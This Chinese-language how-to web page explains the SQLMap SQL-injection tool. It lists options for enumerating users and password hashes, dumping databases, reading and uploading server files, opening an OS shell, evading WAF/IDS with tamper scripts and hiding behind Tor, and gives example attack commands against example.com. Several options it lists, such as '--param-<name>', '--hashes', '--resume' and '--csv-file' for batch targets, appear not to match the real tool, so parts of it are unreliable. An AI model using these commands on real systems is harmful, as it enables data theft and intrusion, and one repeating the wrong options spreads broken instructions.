您的位置首页百科知识

sqlmap命令详细使用方法

sqlmap命令详细使用方法

的有关信息介绍如下:

sqlmap命令详细使用方法

SQLMap 命令详细使用方法

SQLMap 是一个开源的自动化 SQL 注入和数据库接管工具,用于检测和利用 SQL 注入漏洞。以下是对 SQLMap 命令的详细使用方法介绍:

基本语法

sqlmap -u "<URL>" [options]
  • -u 或 --url:指定目标 URL。

常用选项

  1. 基本探测

    • --batch:自动接受所有默认选项,不进行交互提示。
    • --level:设置测试级别(1 到 5),级别越高越深入但耗时越长。默认为 1。
    • --risk:设置风险等级(1 到 3),等级越高可能尝试的攻击越多。默认为 1。
  2. 请求参数

    • --param-<name>:指定要测试的参数名,如果 URL 中有多个参数需要测试,可以多次使用该选项。
    • --data:在 POST 请求中发送的数据字符串。
    • --cookie:HTTP Cookie 头的内容。
    • --user-agent:自定义 User-Agent 头。
    • --random-agent:使用随机 User-Agent 进行请求。
    • --proxy:设置代理服务器地址,格式为 http://host:port 或 socks5://host:port。
  3. 数据库管理

    • -d 或 --dbms:指定后端数据库类型(如 MySQL、PostgreSQL 等)。
    • --current-db:获取当前数据库名称。
    • --users:枚举数据库用户。
    • --passwords:枚举数据库用户的密码哈希值。
    • --hashes:从数据库中提取密码哈希值。
    • -D <dbname>:指定要操作的数据库名称。
    • -T <tablename>:指定要操作的表名称。
    • -C <column>:指定要查询的列名称,多个列用逗号分隔。
    • --dump:导出数据库中的数据。
    • --dump-all:导出整个数据库的所有数据。
    • --tables:枚举数据库中的表。
    • --columns:枚举表中的列。
  4. 文件操作

    • --file-read=<path>:读取并返回服务器上的文件内容。
    • --file-write=<local_file>=<remote_file>:将本地文件上传到服务器的指定路径。
    • --file-dest=<dir_path>:指定上传文件的远程目录(与 --file-write 配合使用)。
  5. 其他高级选项

    • --tamper:使用 tamper 脚本来绕过 WAF/IDS 系统。
    • --os-shell:尝试获得操作系统的命令行 shell。
    • --sql-shell:启动交互式 SQL shell。
    • --tor:通过 Tor 网络进行请求。
    • --csv-file:指定 CSV 文件以批量处理多个目标。
    • --resume:继续上次中断的扫描任务。

示例用法

  1. 简单探测

    sqlmap -u "http://example.com/vulnerable?id=1" --level=3 --risk=2
  2. POST 数据探测

    sqlmap -u "http://example.com/vulnerable" --data="id=1&username=admin" --level=5 --risk=3
  3. 枚举数据库信息

    sqlmap -u "http://example.com/vulnerable?id=1" --level=5 --current-db --users --passwords
  4. 导出数据库数据

    sqlmap -u "http://example.com/vulnerable?id=1" -D database_name -T table_name -C column1,column2 --dump
  5. 绕过 WAF

    sqlmap -u "http://example.com/vulnerable?id=1" --tamper=space2comment.py --level=5 --risk=3
  6. 通过 CSV 文件批量处理

    sqlmap --csv-file=targets.csv --level=3 --risk=2

希望这份详细的 SQLMap 使用方法文档能帮助你更好地理解和使用这个强大的 SQL 注入工具。